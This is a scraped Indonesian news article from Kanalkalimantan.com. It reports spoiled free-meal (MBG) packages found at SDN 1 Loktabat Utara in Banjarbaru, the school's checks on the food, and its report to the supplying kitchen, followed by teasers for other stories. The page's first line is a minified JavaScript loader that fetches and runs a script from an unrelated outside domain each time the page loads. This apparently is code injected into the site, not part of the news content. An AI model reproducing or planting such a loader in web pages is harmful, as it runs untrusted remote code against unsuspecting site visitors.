(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sekolah Dasar Negeri (SDN) 1 Loktabat Utara mendapati makanan basi pada menu Makan Bergizi Gratis (MBG) yang didistribusikan ke 544 siswa dan siswi pada jam makan siang, Kamis (16/10/2025).
Dalam paket MBG yang disantap, siswa mendapat menu mie kuning, telur rebus, dan beberapa potong tempe, dan buah lengkeng.
Kepala SDN 1 Loktabat Utara, Muhammad Muhransyah mengungkap, paket MBG yang disalurkan pertama kali masuk ruang transit untuk diperiksa oleh petugas MBG.
Baca juga: Menu MBG di SDN 1 Loktabat Utara Didapati Basi, Pernah Sebelumnya Terjadi
Kepala SDN 1 Loktabat Utara, Muhammad Muhransyah. Foto wanda
“Ketika datang armada itu masuk ke ruang transit, sebelum kami distribusikan ke anak-anak. Ketika di ruang transit tadi, petugas MBG di sekolah kami menemukan ada makanan yang terindikasi basi, karena berbau dan juga ada berlendir,” ujar Kepala SDN 1 Loktabat Utara, Muhammad Muhransyah saat diwawancarai, Kamis (16/10/2025) siang.
Sebagai antisipasi pihak sekolah agar tidak menyebabkan hal-hal yang membahayakan para siswa, paket yang sedianya diberikan pada jam makan siang itu dibatalkan.
Tak hanya itu, sekolah diberikan sampel atau tester makanan oleh pihak dapur MBG penyuplai. Namun, saat dimakan masih dalam keadaan bagus.
Baca juga: Pemanfaatan Lahan Basah di Rawasari Banjarmasin Tengah
“Tester dicek bagus saja. Cuman kami sampaikan ke kawan-kawan petugas MBG, cek sampling MBG yang akan disalurkan anak-anak. Ini untuk double cek, artinya kita tidak hanya pasrah pada sampel yang diberikan,” jelas dia.
Kemudian di kelas pun, katanya, ketika paket-paket MBG itu tersalurkan, setiap guru itu mendampingi anak-anak memakan.
Sehingga kalau pemeriksaan pertama petugas MBG terpantau aman dan bagus, namun ketika di kelas ditemukan ketika membuka makanan berbau, anak-anak menyampaikan ke gurunya.
Baca juga: Mengenal Bantuan Dasar Hidup Beserta Prosedur Penanganan
“Nah itu jadi pengamanannya double, di pos transit tadi, sama di dalam kelas,” sebutnya.
Atas kejadian ini, sekolah telah melaporkan ke Satuan Pemenuhan Pelayanan Gizi (SPPG) di Kelurahan Sungai Besar yang mendistribusikan paket menu MBG ini.
“Sudah kita laporkan, pihak dapur pun responnya bagus. Tadi ada datang kepala SPPG-nya untuk cek langsung, meminta informasi,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
This website uses cookies.